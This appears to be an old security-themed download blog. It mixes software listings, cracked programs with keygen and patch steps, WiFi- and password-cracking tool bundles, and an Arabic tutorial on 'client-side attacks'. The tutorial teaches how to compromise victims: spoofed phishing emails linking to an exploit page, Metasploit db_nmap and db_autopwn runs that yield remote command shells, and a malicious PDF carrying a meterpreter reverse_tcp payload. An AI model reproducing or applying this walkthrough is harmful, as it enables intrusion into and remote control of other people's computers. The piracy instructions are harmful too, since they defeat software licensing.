Special Security

Mozilla Firefox 3.6.12

2010-11-02T20:51:00.000-07:00

Mozilla Firefox - faster, more Secure, easier to use and sporting a new look, this latest Firefox release sets a new standard for web browser innovation. Mozilla Firefox project (formerly Firebird, which was formerly Phoenix) is a redesign of Mozilla's browser component, written using the XUL user interface language and designed to be cross-platform. It is small, fast and easy to use, and offers many advantages over other web browsers, such as the tabbed browsing and the ability to block pop-up windows

~~Download

Mozilla Firefox 3.6.10 ²

2010-09-22T02:08:00.000-07:00

~~Download

Mozilla Firefox 3.6.9

2010-09-11T08:26:00.000-07:00

~~Download

The Best Collection Wifi Hacking Tools | 170 MB

2010-03-25T06:05:00.000-07:00

~ - WiFi Hack AIO 2010 All In One | 170 MB - ~

~ Key Features ~
• WirelessKeyView
• Wifi Monster
• NetStumbler
• Easy Wifi Radar
• SmartSniff
• Ettercap
• WinPcap
• CommView

~ Windows Tools 2 ~
• Nmap
• Wirelessmon
• PocketWarrior
• Inssider
• RemoteAnyWhere
• PmoniPacketMon
• ApTools
• WiFiFoFum
• Advanced Port Scanner
• NetSurveyor

~ Backtrack ~
• Enlace de descarga para BackTrack 4 Pre Release
• Enlace de descarga para BackTrack 4 Beta Release
• Enlace de descarga para BackTrack 3 VmWare Image
• Enlace de descarga para BackTrack 3
• Enlace de descarga para BackTrack 3 USB Version

~ PDF’s & Tutorials ~
• Hacking Wireless Networks
• Cracking WEP and WPA WiFi
• Wifi Hacking
• Hacking Asus WL520gU
• BackTrack PDFs
• WiFi Advanced Fuzzing
• Wifi Security
• Wireless Sniffing WiresHark
• Wireless Hacking Tools

~ Bonus Software ~
• Net Tools
• WepGen
• Cantennator
• Anchorfree
• Cain and Abel
• Wifi Drivers
• Brutus
• VmWare Keygen
• LanHelper

~~Download

Avira Antivir Rescue System -2010

2010-03-25T04:59:00.000-07:00

This program - Drive to restore, scan, treatment system in the event of infection.

Avira AntiVir Rescue System starts automatically and runs from the BIOS. Created based on Linux. Program interface is English. The structure of the disc is a full anti-virus scanner.

اخر واروع نسخه من برنامج افيرا القاضي على الفايروسات
حيث يمكنك ايضا من اصلاح مشاكل الويندوز
فانت لست بحاجه الى تنزيل نسخة وندوز جديده
بامتلاكك لهذه النسخه الرائعه من هذا البرنامج الذي اثبت وجوده في السنوات الاخيره

Title: Avira Antivir Rescue System 25.03.2010

Year: 2010
Platform: Windows All
Language: English
The medicine: not required
Size 53.39 MB
Price :FREE

~~Download

Latest stable release nmap-521

2010-02-01T19:35:00.000-08:00

It is a bug-fix only release instead,addressing about a dozen issues discovered since 5.20
The Nmap 5.21 source code and packages for Linux, Mac, and Windows are
available for download at the usual place:

http://nmap.org/download.html

Maltego nstaller v2-210-CE

2010-01-31T02:38:00.000-08:00

Maltego is a program that can be used to determine the relationships and real world links between: People, Groups of people (social networks), Companies, Organizations, Web sites, Internet infrastructure such as:
Domains
DNS names
Netblocks
and much more

This new release of Maltego comes with a bunch of new features. The core engine has been completely rewritten, the search options and transforms has been enhanced. With Maltego, we can say that we deal with the best Intelligency Software ever. It can be used by various profil of people : security auditors, police investigation, web watching, name tracking and more.

New features and major changes for Maltego 2.0

Load/Save of entire graphs means you can always go back to your investigation.
Printing of graphs (over multiple pages) for discussions.
Export of entities (CSV format) makes it easy to import Maltego data into other databases.
Commercial grade layout library:

The layout and navigation have been optimized for speed and usability.
Four layout types to rearrange data the way YOU want it.
Two view types for finding relevant info on large graphs.

More entities and 20 brand new transforms for even deeper searches and more information.
Search/Find (on entity value, detailed info and additional fields) helps you to get to key nodes quicker.
Multiple open graphs on different tabs for easy switching between graphs.
Dedicated clear-all, zoom buttons for notebook users.
Hollywood quality look & feel will impress your friends and your boss.
Integrated help on transforms and entities to increase your learning curve.
Complete user guide ensures you are never lost.
Prepopulated and preconfigured transforms and transform sets saves you time.
Population of API key integrated with license key so it’s never lost.
Platform independent installer means you can install it anywhere.

~~4 Win 32 Download

USB Safely Remove Final

2010-01-29T05:09:00.000-08:00

Information:
USB Safely Remove is a USB device manager. It saves time and extends user abilities on active work with flash drives, portable drives, card readers and other gadgets.
The main disadvantage of using built-in Windows safe removal tool is that in case of having several hot-plug devices it is quite difficult to recognize a needed to stop device - the most devices have the same name - "USB mass storage device". In addition, Windows does not let you hide a device you would not want to stop from the menu.
USB Safely Remove saves you from these problems and offers an original and multifunctional stopping menu, which displays actual device names with icons. Using this menu you can find and stop a device in a snap!

FEATURES:
The new version of USB Safely Remove significantly improved the feature to autorun programs on device connection\disconnection.

*Unlimited number of processes to launch
You may specify to launch any number of processes for specified event. For example you may setup launching a backup of the drive before stopping and following disomounting of a TrueCrypt volume
*Optional command line parameters
You may pass such device parameters as drive letter, drive label, device PNP name into the process command line via parameter templates (e.g. this command line will browse a drive in Explorer on device connection: explorer.exe %DriveLetter%)
*New events to launch programs
Now programs can be launched after device plugging, before device stopping, after device stopping and after device removing
*Global autorun
You can setup a program to be launched not only for certain device, but for all hotplug devices in the system

One click templates!
Dislike reading boring documentation, but interested in one of the following things?
* Browsing a drive with Explorer or total commander on device connection
* Scanning a device for viruses on its connection
* Making automatic backup of a flash-drive folder
* Automatic mounting and dismounting a TrueCrypt volume stored on a device

install
run the setup
then copy and paste the patch in to the installation folder

~~Download

Link Fixed ;)

Mozilla Firefox 3.5.7 Final

2010-01-10T00:59:00.000-08:00

Mozilla Firefox - faster, more secure, easier to use and sporting a new look, this latest Firefox release sets a new standard for web browser innovation. Mozilla Firefox project (formerly Firebird, which was formerly Phoenix) is a redesign of Mozilla's browser component, written using the XUL user interface language and designed to be cross-platform. It is small, fast and easy to use, and offers many advantages over other web browsers, such as the tabbed browsing and the ability to block pop-up windows. Firefox has the most ways to customize your online experience specifically for the way you use the web. There are more than 6,000 Add-ons (little extras that augment Firefox to meet your unique needs) just waiting out there to help you do more, have more fun and be more creative online. Firefox keeps your personal info personal and your online interests away from the bad guys. Simply put, your security is our top priority.

~~Download

تميز بسرعة بالتصفح كما انه يحتوي على مميزات مثل تنظيم الصفحات على شكل تابز في اعلى الصفحة وايضا دعم ميزة الأخبار الفورية RSS وموجود فيه ايضا إضافات الـ Plugins اللي تعطيك عالم كامل من الإضافات مثل الحالة الجوية وبرامج إدارة التحميل المرفقة طبعا غير الألوان والثيمز اللي فيه,,, وهو متوافق مع كل اصدارات الوندوز و فعلا المتصفح ده اسرع من اي متصفح اخر عن تجربة .

New Wallpapers 2010

2010-01-03T09:29:00.001-08:00

~~Download

2010-01-01T05:17:00.000-08:00

Bonne année en Françe :
En Alsacien : e glëckliches nëies OU güets nëies johr
En Basque : urte berri on
En Breton : bloavezh mat OU bloavez mad
En Corse : pace e salute
En Provencal : bòna annada
En Provencal rhodanien : bono annado
En Francique Lorrain : Proscht nei Johr OU Beschte Wìnsch fer's neije Johr
En Languedocien : bona annada
Bonne année en Créole :
En Créole ANTILLAIS : bon lanné
En Créole GUADELOUPÉEN : bonne année
En Créole GUYANAIS : bon nannen OU bon lannen
En Créole HAITIEN : bònn ané
En Créole MARTINIQUAIS : bon lanné OU bonanné
En Créole MAURICIEN : banané
En Créole RÉUNIONNAIS : bone-érèz ané
En Créole SEYCHELLOIS : mon swet zot la bonn anen
Bonne année dans le monde entier :
En Anglais : Happy new year
En Arabe : aam saiid. sana saiida
En Japonais : akemashite omedetô
En Chinois : Sun nien fai lok
Pour le Chinois Mandarin : Xin nian yu kuai
En Italien : felice anno nuovo OU buon anno
En Portugais : feliz ano novo
En Danois : Godt Nytår
En Allemand : Gutes Neues Jahr
En Iran : Aide shoma mobarak
En Albanais : Gëzuar vitin e ri
En Hawaiien : Hauoli Makahiki Hou
En Hebreux : Shanah tovah
En Vietnamien : Nyob zoo xyoo tshiab
En Indonesien : Elamat Tahun Baru
En Afrikaans : gelukkige nuwejaar
En Arménien : shnorhavor nor tari
En Azeri : yeni iliniz mubarek
En Bambara : bonne année
En Bas Saxon : gelükkig nyjaar
En Bengali : subho nababarsho
En Berbère : asgwas amegas
En Beti : mbembe mbu
En Bioelorusse : Z novym hodam
En Birman : hnit thit ku mingalar pa
En Bobo : bonne année
En Bosniaque : sretna nova godina
En Bulgare : chestita nova godina
En Cantonais : kung hé fat tsoi
En Catalan : bon any nou
En Coréen : seh heh bok mani bat uh seyo
En Croate : sretna nova godina
En Espagnol : feliz año nuevo
En Esperanteo : felicxan novan jaron
En Estonien : head uut aastat
En Feroien : gott nýggjár
En Finnois : onnellista uutta vuotta
En Flamand : gelukkig Nieuwjaar
En Frison : lokkich neijier
En Frioulan : bon an
En Gaélique d'Ecosse : bliadhna mhath ur
En Gaélique d'Irlande : ath bhliain faoi mhaise
En Galicien : feliz aninovo
En Gallo : Bónn anaèy
En Gallois :blwyddyn newydd dda
En Géorgien : gilocavt akhal tsels
En Grec : kali chronia OU kali xronia
En Gujarati : sal mubarak
En Guarani :rogüerohory año nuévo-re
En Hindi : nav varsh ki subhkamna
En Hmong : nyob zoo xyoo tshiab
En Hongrois : boldog új évet
En Indonésien : selamat tahun baru
En Islandais : farsælt komandi ár
En Javanais : sugeng warsa enggal
En Kabyle : asseguèsse-ameguèsse
En Kannada : hosa varshada shubhaashayagalu
EN Kazakh : zhana zhiliniz kutti bolsin
En Khmer : sur sdei chhnam thmei
En Kirundi : umwaka mwiza
En Kurde : sala we ya nû pîroz be
En Lao : sabai di pi mai
En Latin : felix sit annus novus
En Letton : laimigu Jauno gadu
En Ligure : feliçe annu nœvu
En Lingala : mbula ya sika elamu na tonbeli yo OU bonana
En Lituanien : laimingu Naujuju Metu
En Luxembourgeoins : e gudd neit Joër
En Macédonien : srekna nova godina
En Malais : selamat tahun baru
En Malgache : arahaba tratry ny taona
En Maltais : is-sena t-tajba
En Maori : kia hari te tau hou
En Marathi : navin varshaachya hardik shubbheccha
En Mongol : shine jiliin bayariin mend hurgeye
En Moré : wênd na kô-d yuum-songo
En Néerlandais : gelukkig Nieuwjaar
En Occitan : bona annada
En Ourdou : naya saal mubarik
En Ouzbek : yangi yilingiz qutlug' bo'lsin
En Persan : sâle no mobârak
En Polonais : szczesliwego nowego roku
En Romanche : bun di bun onn
En Romani : bangi vasilica baxt
En Roumain : un an nou fericit OU la multi ani
En Russe : novim godom
En Samoan : ia manuia le tausaga fou
En Sango : nzoni fini ngou
En Sarde : bonu annu nou
En Serbe : srecna nova godina
En Shimaroé : mwaha mwema
En Shona : goredzwa rakanaka
En Sindhi : nain saal joon wadhayoon
En Sinhala : suba aluth avuruddak vewa
En Slovaque : stastlivy novy rok
En Slovène : srecno novo leto
En Sobota : dobir leto
En Sranan : wan bun nyun yari
En Suédois : gott nytt år
En Suisse-Allemand : es guets Nöis
En Swahili : mwaka mzuri OU heri ya mwaka mpya
En Tagalog : manigong bagong taon
En Tahitien : ia orana i te matahiti api
En Tamoul :iniya puthandu nalVazhthukkal
En Tatar : yaña yil belän
En Tchèque : štastný nový rok
En Telugu : nuthana samvathsara subhakankshalu
En Thai : sawatdii pimaï
En Tibétain : tashi délek
En Turc : yeni yiliniz kutlu olsun
En Udmurt : Vyl Aren
En Ukrainien : Z novym rokom
En Vietnamien : Cung Chúc Tân Niên OU Cung Chúc Tân Xuân
En Wallon : bone annéye OU bone annéye èt bone santéye
En Wolof : dewenati
En Yiddish : a gut yohr

Special Security 2010

Client Side Attacks شرح إختراق أجهزة السرفرات والأجهزه العاديه عن طريق

2010-01-01T04:18:00.000-08:00

بسم الله الرحمن الرحيم
والصلاة والسلام علي أشرف المرسلين محمد إبن عبد الله النبي الأمين
وعلي امته ومن تبعه بإخلاص إلي يوم الدين

-------------------------

كثر الحديث عن إمكانية الإختراق بالايبي فقط . . هل يمكن ذلك او لا ؟

ربما اصبح السؤال متأخر جدا في هذا الوقت لوجود مشاريع الإختراق وكثرتها وجعلها من المصادر المفتوحه

وسندرس اليوم بإن الله جآنب من عمليات الإختراق التي تهدد المستخدم العادي والغير عادي

وأقصد بالمستخدم العادي Personal Computing استخدام الكمبيوتر بشكل شخصي

والمستخدم الغير عادي أجهزة السرفرات والشركات والمؤسسات ... إلخ

والجانب الذي سندرسه اليوم هو أخطر جوانب عمليات الإختراق التي تهدد المستخدمين

حيث ان تلك العمليه تنجح بها في إختراق الضحيه بنسبة تعدو الـ 75% .. << لآ يستهان بها طبعا . Client Side Attacks

و سنقسم موضوع اليوم باذن الله كالتالي :

تعريف بالكلينت سايد أتاكس
1
Client Side Attacks
2
بعض البرامج التي يمكن استغلالها
3- تطبيق عملي علي أحد الثغرات
------------------
بسم الله نبدأ
ما هي الـ
(Client Side Attacks)

أبدا تعريف الكلينت سايد اتاك بنفس التعريف الذي بدأ به Tim Greene عندما شرح الكلينت سايد اتاكس

إقتباسا عن معهد سانس < غني عن التعريف تلك المقوله المقتبسه عن هي :

كود PHP:

     Client-side vulnerabilities are among the biggest threats facing users, the SANS Institute said

ببساطه عندما تريد إختراق ضحيه معينه سواء كان مستخدم عادي او غير عادي كما سبق التفصيل

وبطريقة ما حصلت علي الايبي الشخصي له سواء عن طريق إيهامه بدخول صفحة لتسجيل بياناته

ا ما شابه ذلك من الطرق . . المهم انت معك الان ايبي ضحيتك

لاكن لا تملك عن جهازه أي معلومات فماذا ستفعل ؟

حسنا أجد البعض يقول Nmap Scanning نفحص الايبي بتاعه بأداة nmap

حسنا وماذا اذا لم تجد بجهازه بورتات خاصه ببرامج مصابه ؟؟ ماذا لو كان ضحيتك أذكي مما تتوقع قام بحجب فحص الإن ماب

حاسس انه في واحد نذل هيقولي نستخدم برنامج فحص تاني غير الان ماب هههههههههه

معاك في دي لاكن فرضا انك لم تجد ايضا برامج مصابه فما الحل ؟

هنا يأتي دور الكلينت سايد اتاكس

وهي تعتمد أكبر الإعتماد علي تحليلك لشخصية الضحيه ويدخل بها أيضا جزء من الهندسه الإجتماعيه

يمعني ؟ بمعني انك تقوم بتخمين برنامج معين يكون الضحيه يستخدمه او يكون البرنامج منتشر علي الكثير من الاجهزه

ما عنيته بتدخل الهندسه الاجتماعيه في ذلك المجال

هو حديثك مع الضحيه ولنفرض انك عرفت بانه مطور مواقع اذا فبحسبه سريعه مطورو المواقع يحتاجون الي :

انترنت اكسبلورر وبعض برامج التصميم وبرنامج مساعد في التعديل علي الملفات وأشهرها notepad++

ومن المعروف انه برنامج النوت باد بلص بلص فيه ثغرات خطيره جدا ومنها ما تدعمه الميتا سبلويت

اذا نستخدم الثغره علي اي بي الضحيه ونحاول اختراقه وهكذا

وإنت وتخمينك

يعني دلوقت الكلينت سايد اتاك هو استهداف برنامج يستخدم بشكل أساسي وإستغلال ثغراته في اختراق الضحيه . .

2 - بعض البرامج التي يمكن استغلالها

طبعا من أشهر البرامج المستخدمه في ألاجهزه

و أشهر المصابين والمتواجدين علي اجهزة المستخدمين بشكل مبالغ فيه وهي internet explorer

notepad++ & gom player & winamp

هل رأيتم ؟ من منا لا يوجد علي جهازه علي ألاقل واحد من تلك لبرامج ؟؟

وغيرها وطبعا لم أذكر سوي البرامج المصابه بثغرات خطيره والتي اقوم بإستخدامها في أغلب الأوقات

وطبعا للحصول علي ثغرات لتلك البرامج من مشروع الميتا سبلويت لا عليكم سوي تشغيل برنامج الميتا سبلويت

ثم كتابة :

كود PHP:

     search programN4me

programn4me يعني اسم البرنامج الذي تريد ان تبحث عن ثغره له وناخذ علي سبيل المثال البحث هن ثغره لبرنامج الجوم بلاير

كما ترون بحثنا ووجدنا ثغره خطيره من نوع بفر اوفر فلو يمكن استخدامها واستغلالها ببساطه . .

وتستطيعون البحث أيضا بجوجل عن البرامج التي تتوقعون بأن الضحيه يستخدمها

3 - تطبيق عملي

وعفوا ساشرح تلك النقطه بانجاز نظرا لقلة الوقت . . لاكن ساوضح بعض التفاصيل حتي تفهموني .

بالفعل اكثر الثغرات وأشهرها وللاسف انها موجوده في معظم الاجهزه حتي أجهزة سرفرات المواقع

هي ثغرات الانترنت اكسبلورر . . . فنجد ان الكثيرين من مستخدمي الانترنت يتصفحونه عن طريق ذلك العقيم الانترنت اكسبلورر

هل تريدون أن اصرح لكم بسر صغير << الهكر الاول في الزون اتش الهكر التركي ايسكربوتكس يستخدم الانترنت اكسبلورر وقد رايته بجهازه أثناء تصفحه لاحد الشلات الملغمه ويال الاسي هههههههه

حسنا فلنكمل . . حتي حينما تقوم بتنصيب وندوز جديد تجد عموو اكسبلورر نازل معاه غصب هههههههههه

اكيد طالما تابع لميكروسوفت

انا عن نفسي بمجرد ما انصب الوندوز أروح للبروجرام فايلز واحذفه طوالي Lolz@

تجربة اليوم ستكون علي جهاز سرفر وندوز يعني ليس مستخدم عادي ..

حسنا اذا فهو يستخدم الانترنت اكسبلورر . .

سريعا ودون تضييع للوقت ساستخدم ثغره مصاب بها الانترنت اكسبلورر وهي موجوده في الميتا سبلويت بإسم :

كود PHP:

     ie_xml_corrupitaion

حسنا من متطلبات الثغره url يعني رابط كايبي مثلا يكون ايبي ثابت يتم وضع الصفحه الناتجه من الثغره عليه

حتي ترسلها للضحيه وبمجرد دخوله اليها تقوم بإختراقه . . .

وقد استخدمت في ذلك جهاز ريموت ديسك توب لانه ايبي ثابت واقدر اتصل منه علي اي بورت

حسنا الخطوه الاولي في الاستغلال سريعا ابحث في موقع الهدف عن اميله

وجدته . . الخطوه الثانيه استخدم سكربت ميلر حتي اقدر ارسل للضحيه رساله من اي اميل اريده

الخطوه الثالثه تجهيز رساله مخادعه مع رابط لموقع عادي ويكون الهيبر لينك لها هو رابط صفحتي الملغومه .

الخطوه الرابعه أنتظر وقوع الضحيه في الفخ . .

1 2 3 4 . . . فشل في العمليه !! لماذا ؟؟ الضحيه لم يدخل علي الرابط !!

اذا فما الحل ؟؟

وجدتها انا بحثت عن البرامج المصابه عند الضحيه ولم ابحث عن ثغرات للنظام الخاص بالضحيه !!

يمعني انني عندما قمت بفحص جهاز السرفر باداة nmap وجدت معظم البورتات مفلتره

والبورتات المفتوحه ليس لبرامجها ثغرات

لاكني نسيت ان تخمين الان ماب قال بان الضحيه يستخدم نظام وندوز sp1 والتخمين بنسبة 97 في الميه

اذا هنا سيكون اللعب سنقوم بالبحث في الميتا سبلويت عن ثغرات لنظام الوندوز من نوع sp1

وساستخدم اداة

كود PHP:

     db_autopwn

حتي أستطيع تجربة اكبر عدد من الثغرات وبشكل اوتوماتيكي
حسنا نقوم بفتح الميتا سبلويت

ثم نقوم بتحميل sqlite3 بالامر :

كود PHP:

     load db_sqlite3

ثم نقوم بإنشاء قاعدة بيانات جديده لاستخدامها

كود PHP:

     db_create hima

ثم نستخدم الامر db_ ونستعرض الخواص الممكن استخدامها وأهمها هو :

كود PHP:

     db_nmap  And  db_autopwn

إذا نقوم باستخدام اداة الفحص db_nmap لفحص ضحيتنا بالأمر :

كود PHP:

     db_nmap 41.24.57.263

طبعا الايبي اللي انا كاتبه فوق هو أيبي وهمي

حسنا إنتهي الفحص والإن :

كود PHP:

     db_autopwn -p -e -b

ولنطلق العنان للاوتوبون

بعد تجربة عدة ثغرات وجدت أن لدي 3 sessions << طبعا كوماند شل command shell

كود PHP:

     msf > sessions -l

Active Sessions
===============

 Id  Description    Tunnel
 --  -----------    ------
 1   Command shell  xx.xxx.xx.xxx:An Port -> My ip:An Port
 2   Command shell  xx.xxx.xx.xxx:An Port -> My ip:An Port
 3   Command shell  xx.xxx.xx.xxx:An Port -> My ip:An Port

msf > sessions -i 2
[+] Starting interaction with 2..

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

-------------------------------------------------

هذا تطبيق إخر لثغره اخري علي السريع ربما يفيدكم بإذن الله :

كود PHP:

     msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > set FILE**** BestComputers-UpgradeInstructions.pdf
FILE**** => BestComputers-UpgradeInstructions.pdf
msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > set LHOST 192.168.8.128
LHOST => 192.168.8.128
msf exploit(adobe_utilprintf) > set LPORT 4455
LPORT => 4455
msf exploit(adobe_utilprintf) > show options

Module options:

  ****        Current Setting                             Required  Description
  ----        ---------------                             --------  -----------
  FILE****    BestComputers-UpgradeInstructions.pdf       yes       The file ****.
  OUTPUTPATH  /pentest/exploits/framework3/data/exploits  yes       The ******** of the file.


Payload options (windows/meterpreter/reverse_tcp):

  ****      Current Setting  Required  Description           
  ----      ---------------  --------  -----------           
  EXITFUNC  process          yes       Exit technique: seh, thread, process
  LHOST     192.168.8.128    yes       The local address     
  LPORT     4455             yes       The local port        


Exploit target:

  Id  ****
  --  ----
  0   Adobe Reader v8.1.2 (Windows XP SP3 English)

msf > exploit(adobe_utilprintf) > exploit

-----------------------------------------------------

إلي هني ينتهي موضوع اليوم وأرجو أن أكون وفقت في الشرح والتوضيح وآسف علي التقصير

وهذا كان تعريفي وشرحي لهجمات Client Side Attacks وبعض الطرق المستخدمه في استغلال تلك الهجمات

أما تعريف معهد سانس لذلك النوع من الهجمات فيتلخص في :

كود PHP:

     Attackers are going after weaknesses in desktop applications such as browsers, media players, common office applications and e-mail clients

ملحوظه : من لديه المزيد من المعلومات عن ذلك النوع فليتفضل بالطرح والتوضيح حتي تتسع دائرة المعرفه

وبالختام لا يسعني المقام سوي التوجه بالشكر إلي :

SANS Institute & Tim Greene & Dr.X.D14BL0 & x@Injector

Sinratix & Dr.Hacker & Mohandko & Providor & HcJ & ExH

وإلي جميع أصدقائي دون إستثناء

ولا أرجو منكم سوي الدعاء لي ولوالداي بما تجود به أنفسكم . وجزاكم الله خيرا .

اللهم إغفر للمسلمين والمسلمات والمؤمنين والمؤمنات الأحياء منهم والأموات

إنك يا ربنا سميع مجيب الدعوات . وصلي الله وسلم علي سيدنا محمد وعلي آله وصحبه أجمعين.

أخوكم إبرآهيمـ
ViRuS_HimA.

Source : Hell-Z0NE

The Best Tools (Password Cracking)

2009-12-21T06:19:00.000-08:00

Guys this is one of The best collections and very useful tools.

Password Breaker & Cracker

1) PDF Password Remover
2) Windows XP Admin Password Remover
3) Zip File Password Cracker
4) SQL Password Remover
5) Microsoft Office Password Remover
6) Windows Vista Admin Password Recovery
7) Windows Password Recovery
8) RAR File Password Cracker
9) EXE File Password Recovery
10) Password Changer
11) Password Memory
12) Distributed Password Recovery

Photo Collection:

~~Download

Cool Calendar PSD 2010-2011-2012

2009-12-21T01:27:00.000-08:00

Calendar PSD 2010-2011-2012
2 PSD | 20 x 30 | 300 DPI |

How install?
open the psd files using adobe photoshop
then replace your favourite pictures to spaces
then enjoy

~~Download

Special Security

Softstack Best Network Security ;)

2009-12-21T01:10:00.000-08:00

Best Network Security is a network-based password-protected security utility to secure Windows-based computers. It works under any Windows platforms and offers an administrative support for controlling which users are allowed to access your computers and the level of access each user may have. You can choose to restrict access to lots of Control Panel applet functions, including Display, Network, Passwords, Printers, System, Add/Remove Programs, etc. You can also assign separate system profile folders to each user, providing each with their own custom Desktop, Start Menu, Favorites, My Documents, etc. Additionally, you can: disable Start Menu items, hide local and network drives, disable the DOS prompt, boot keys, real DOS mode, Registry editing, taskbar, task manager, and network access, hide desktop icons, and much more.

You can apply password protection to Windows and restrict users to running specific applications only. Security restrictions can be applied universally or just to specific users. Best Network Security also supports Internet Explorer security that enables you to customize many aspects of the Internet Explorer Web browser. It lets you disable individual menu items, prevent others from editing your Favorites, disable individual tabs in the Internet Options dialog, as well as specific settings from each tab.Best Network Security allows you to import and export PC security settings, and offers a flexible and complete password protection.
Home Page : http://www.softstack.com/bestnetsec.html

How Install?
1. Unrar
2. Install the server or client + GUI
3. Copy the keymaker in the installed folder
4. Run the keymaker and patch the application
5. Click on generate button and copy the key it makes
6. Start the GUI application and register the application.
Enjoy

~~Download

To visitors

2009-12-21T00:50:00.000-08:00

To visitors

Peace and mercy of God be upon you

Welcome visitors to our site customers special protection
स्पेशल सिक्यूरिटी" onmouseover="this.style.backgroundColor='#ebeff9'" onmouseout="this.style.backgroundColor='#fff'">स्पेशल सिक्यूरिटी
Special Security

Our discussion today claimed to be strange for some, and Choi claimed to be a concept of some of the other few who know about social engineering and penetration of the methods if some ignorant roads but there are many people who are exploiting it to lure their victims to find out information that may be in the eyes of some non-important, but it may cause much more than penetration of a domain name or a website ..

Based social engineering to exploit the information to deceive the regular technical support for hosting or e-mail and access to data entry for both the client area or to the Domain Control Panel .. Some of this information is derived from the mail or the space itself. There are ways to protect against them, but the majority do not care about ..
Social networks such as

facebook or tagged or hi5 or twitter etc ..

Could allow an attacker to obtain information may remain in your view simple as:

Age / Birthday / state / zip code / telephone number / your favorite team / favorite sport / phone number / and other ......

This information, despite its simplicity, but it could lead to break your forum or blog, or Dominic and others ... And some of the attackers may resort to fool you through one of the talks Messenger For simple information in the middle of talks may not be normal any sense to you, but it leads to Achtrack your hands, why give them the gap through which they can Achtrack of social engineering and an extensive and complex, and the things that you work in the field management servers and big companies to learn why we see neglect of many in this area and what do we see from many reckless to give personal information and asked for all without preservation of the .. And why most of the technical support systems do not work to prevent these attacks despite the seriousness of hackers have exploited!!

Please leave your comments

Good luck
./Diablo

Mozilla Firefox 3.5.6 Release

2009-12-16T09:09:00.000-08:00

What’s New in Firefox 3.5.6

Firefox 3.5.6 fixes the following issues:

Fixed several security issues.
Fixed several stability issues.
Best Speed surfing
Best Speed Downloading
Tested By Special Security Team :)

Please see the complete list of changes in this version. You may also be interested in the Firefox 3.5.5 release notes for a list of changes in the previous version.

~~Download

For more Info Visit The Principal site of Mozilla

AVG Anti-Virus-Internet 9 PRO Full

2009-12-16T08:00:00.000-08:00

AVG Anti-Virus-Internet 9 PRO Full + Keys | 93.5 MB

AVG Internet Security - a powerful suite of applications Grisoft to help protect your computer from all sorts of online threats: viruses, worms, trojans, spyware and adware providers, hackers and spam. In the AVG Internet Security includes modules: Anti-Virus, Anti-Spyware, Anti-Spam and Firewall. The program is easy to use, has the ability to automatically update via the Internet and work on schedule. Compatible with Windows XP/ Windows Vista/Windows 7 and has a major anti-virus certificates: VB100%, ICSA, West Coast Labs Checkmark.

Year: 2009 - 2010
Developer: AVG Technologies
Platforms: Windows 2000, XP (32-bit or 64-bit), Vista (32-bit or 64-bit), 7 (32-bit or 64-bit)
Language: English, Russian ,Danish, Dutch, Italian, Hungarian, Japanese, Malay, Polish, Portugal, Serbian, Slovak, Spanish, Turkish, Chinese, etc.

Versions in the archive:
* AVG Internet Security 90_707a1765

Includes the following modules:
* Anti-Virus - find and remove various viruses, Trojans, Internet worms,
* Anti-Spyware - Protecting your computer from installing spyware and other malicious programs
* Anti-Spam - E-mail filtering and deleting spam,
* Anti-Root kit - protection against hidden threats, spreading malicious content,
* Identity Protection - protection against new and unknown threats, now your passwords, credit card numbers and other personal data are protected from theft,
* Link Scanner Active Surf-Shield - protection in real time from infected web pages during the work on the Internet,
* Link Scanner Search-Shield - mapping of safety assessments in real time for all the search results Google, Yahoo and MSN / Live,
* Web Protection & Firewall - a full-fledged firewall to protect your computer while it is running in the network).

AVG Internet Security has the ability to search by type of program infestation: advertisements (adware), spyware cookies (tracking-cookies), conditional dangerous program (riskware), paid "dialers" (dialers), to perform scanning on schedule, to include automatic tracking system, in part or in full, scan files on startup, check the memory applications, automatically delete tracking (tracking) cookies, change the list of all running processes (similar to Task Manager), displaying a list of visible and invisible plug-ins for Internet Explorer, disable autorun CD and DVD , disable ActiveX, disable the automatic request licenses for protected content, always show this file extension, to scan e-mails for viruses and so on.

Key features:
1. 100% virus detection. AVG Antivirus scan engine has many awards for quality of detection vredonostnogo package, including the VB100%. The unique combination of detection methods program AVG provides full protection against viruses, worms and Trojans.
2. 100% protection against spyware (spyware). AVG is not only the search capabilities of spyware and keyloggers in the files and archive files, and search capabilities hidden keys in the registry.
3. Detection "on the fly." AVG scanner monitors the calls to the file system and produces double-check files when accessing them, that allows to build another layer of protection from the infected files.
4. Postal protection. AVG checks all email traffic, and connects to the mail clients such as: MS Outlook, The bat!, Eudora, and other SMTP/POP3 mail clients such as Outlook Express. Also supported by checking ~ Phisher ~traffic.
5. Anti-spam and anti-phishing filters. Each letter, entering a mailbox that is checked by means of signature databases are updated every minute.
6. Monitoring network connections. With built-in firewall AVG scans all incoming and outgoing connection requests from the computer, prevent network attacks on computer and network activity for the Trojans.
7. Powerful planning. AVG provide a daily schedule for automatic scanning and updating, and will give you the opportunity to create their own scheduled events

System requirements for 9.0
* Operating system: Windows 2000/XP (32-bit or 64-bit) / Vista (32-bit or 64-bit) / 7 (32-bit or 64-bit)
* Processor: Intel Pentium 1,8 GHz
* Memory: 512 MB RAM
* Free space on hard disk: 550 MB

~~Download

Border security guards kill laptop

2009-12-16T03:37:00.000-08:00

Young American woman travels over to Jerusalem to meet some friends, see the sights, live the life. Overzealous border security officers ask her a bunch of questions, take issue with her answers, and a few well-placed bullets later she is allowed entry into the country with a somewhat altered MacBook in tow. So what can we all learn from this incident? Firstly, back up all the data you consider important; B, Israeli policemen don't mess about; and 3, distressed laptops look gorgeous no matter how they got there -- just look at the way the glass trackpad has wrinkled up from the force of the bullet penetrating near it, it's a borderline work of art. The young lady in question has been promised compensation, but lest you think this is a one one-off you can see pictures of an equally dead Dell at the Flickr link below. We've got a couple more close-ups of the ravaged MacBook after the break.

Source:engadget

Your Cleaner !

2009-12-10T02:14:00.000-08:00

About Your Cleaner.

